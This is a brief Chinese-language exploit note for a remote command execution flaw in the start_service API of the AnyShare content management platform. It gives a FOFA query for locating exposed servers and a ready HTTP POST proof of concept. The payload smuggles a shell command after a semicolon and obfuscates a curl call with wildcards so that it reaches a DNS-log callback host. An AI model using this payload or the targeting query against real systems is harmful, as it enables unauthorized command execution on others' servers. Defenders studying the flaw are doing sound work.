爱数AnyShare智能内容管理平台 start_service 存在远程命令执行

fofa：

body="/libs/hls.js/dist/hls.min.js"

poc:

POST /api/ServiceAgent/start_service HTTP/1.1
Host: {{target_host}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close

["ccc;/u?r/b?n/c??l {{dnslog}}"]